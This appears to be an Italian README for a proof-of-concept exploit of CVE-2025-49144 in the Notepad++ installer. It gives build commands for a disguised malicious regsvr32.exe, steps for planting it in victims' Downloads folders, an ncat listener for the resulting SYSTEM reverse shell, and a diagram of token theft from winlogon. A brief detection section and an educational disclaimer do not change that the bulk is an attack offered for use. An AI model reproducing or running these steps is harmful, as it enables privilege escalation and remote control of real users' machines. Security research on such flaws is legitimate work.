
PoC CVE-2025-49144
⚠️ SOLO A SCOPO EDUCATIVO
Questo codice è progettato per scopi educativi e di ricerca per comprendere le vulnerabilità di binary planting. Utilizzare solo in ambienti controllati con la dovuta autorizzazione.
Questa Proof of Concept dimostra la vulnerabilità di binary planting nel programma di installazione di Notepad++ (CVE-2025-49144) menzionata in GHSA-9vx8-v79m-6m24. La vulnerabilità consente a un aggressore di ottenere privilegi a livello SYSTEM posizionando un eseguibile malevolo chiamato regsvr32.exe nella stessa directory del programma di installazione di Notepad++.
regsvr32.exe malevoloIl PoC è composto da più componenti che lavorano insieme:
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ Programma di │ │ regsvr32.exe │ │ Reverse Shell │
│ installazione │───▶│ malevolo │───▶│ (PowerShell) │
│ Notepad++ │ │ (binario CGO) │ │ con privilegi │
│ (cerca │ │ │ │ SYSTEM │
│ regsvr32.exe) │ │ │ │ │
└─────────────────┘ └──────────────────┘ └─────────────────┘
# Installare Go (1.24+)
# Installare MinGW-w64 per la compilazione CGO
# Installare Git per il controllo versione
# Clonare il repository
git clone https://github.com/Vr00mm/CVE-2025-49144
cd CVE-2025-49144
# Compilare come eseguibile (mascherato come regsvr32.exe)
# Per la massima furtività (rimuovi info di debug)
go build -ldflags="-s -w" -o regsvr32.exe
# Per lo sviluppo (con simboli di debug)
go build -o regsvr32_debug.exe
# 1. Posizionare regsvr32.exe malevolo nella stessa directory del programma di installazione di Notepad++
# Di solito la cartella Download dove gli utenti scaricano il programma
copy regsvr32.exe "C:\Users\%USERNAME%\Downloads\"
# 2. L'utente scarica il programma di installazione ufficiale di Notepad++ nella cartella Download
# 3. Quando l'utente esegue il programma di installazione, questo cerca regsvr32.exe prima nella directory corrente
# 4. Il programma di installazione trova ed esegue il nostro regsvr32.exe malevolo con privilegi SYSTEM
# 5. Ascoltare la connessione reverse shell in arrivo
ncat -tlnp 4445
sequenceDiagram
participant Utente
participant Attaccante
participant Download
participant InstallerNotepad
participant Regsvr32Malevolo
participant ProcessoSYSTEM
Utente->>Download: Scarica programma di installazione Notepad++
Attaccante->>Download: Posiziona regsvr32.exe malevolo (ingegneria sociale)
Utente->>InstallerNotepad: Esegue il programma di installazione dalla cartella Download
InstallerNotepad->>Download: Cerca regsvr32.exe nella directory corrente
Download->>Regsvr32Malevolo: Trova prima regsvr32.exe malevolo
InstallerNotepad->>Regsvr32Malevolo: Esegue con privilegi SYSTEM
Regsvr32Malevolo->>Regsvr32Malevolo: Crea processo distaccato
Regsvr32Malevolo->>ProcessoSYSTEM: Enumera processi SYSTEM
ProcessoSYSTEM->>Regsvr32Malevolo: Ruba token da winlogon/servizi
Regsvr32Malevolo->>Regsvr32Malevolo: Crea PowerShell con token SYSTEM
Regsvr32Malevolo->>Attaccante: Stabilisce connessione reverse
Regsvr32Malevolo->>InstallerNotepad: Continua con funzionalità legittima di regsvr32
Attaccante->>ProcessoSYSTEM: Esegue comandi come SYSTEMBinary Planting
Escalation dei privilegi
Meccanismi di persistenza
Programmazione di rete
Programmazione CGO
# Monitorare l'uso sospetto di regsvr32
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104}
# Controllare connessioni di rete insolite
netstat -ano | findstr ":4445"
# Monitorare la creazione di processi
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688}
Fallimenti di connessione
# Verificare se la porta è disponibile
netstat -ano | findstr ":4445"
# Controllare le impostazioni del firewall
netsh advfirewall firewall show rule name=all | findstr "4445"
Errori di compilazione
# Assicurarsi che CGO sia abilitato
set CGO_ENABLED=1
# Controllare l'installazione di MinGW
gcc --version
# Verificare che l'installazione di Go supporti CGO
go env CGO_ENABLED
Fallimenti nell'acquisizione del token
Questo progetto è rilasciato sotto la licenza MIT per scopi educativi. Vedi il file LICENSE per i dettagli.
Ricorda: Questo strumento è solo per scopi educativi e di test autorizzati. Seguire sempre le pratiche di divulgazione responsabile e rispettare i confini legali.
| File | Scopo | Righe |
|---|
main.go | Punto di ingresso, gestisce l'esecuzione di regsvr32 | ~80 |
winbind.h | Header principale con dichiarazioni di funzioni | ~45 |
main.c | Lanciatore core della reverse shell e creazione di processi distaccati | ~75 |
shell.c | Gestore della shell con esecuzione PowerShell offuscata | ~120 |
process.c | Acquisizione di token e creazione di processi SYSTEM | ~195 |
socket.c | Connessione di rete con TCP keep-alive | ~85 |
threads.c | Threading I/O tra socket e pipe | ~60 |
utils.c | Validazione input e limitazione della frequenza | ~35 |
obfuscate.c | Tecniche di offuscamento del percorso PowerShell | ~70 |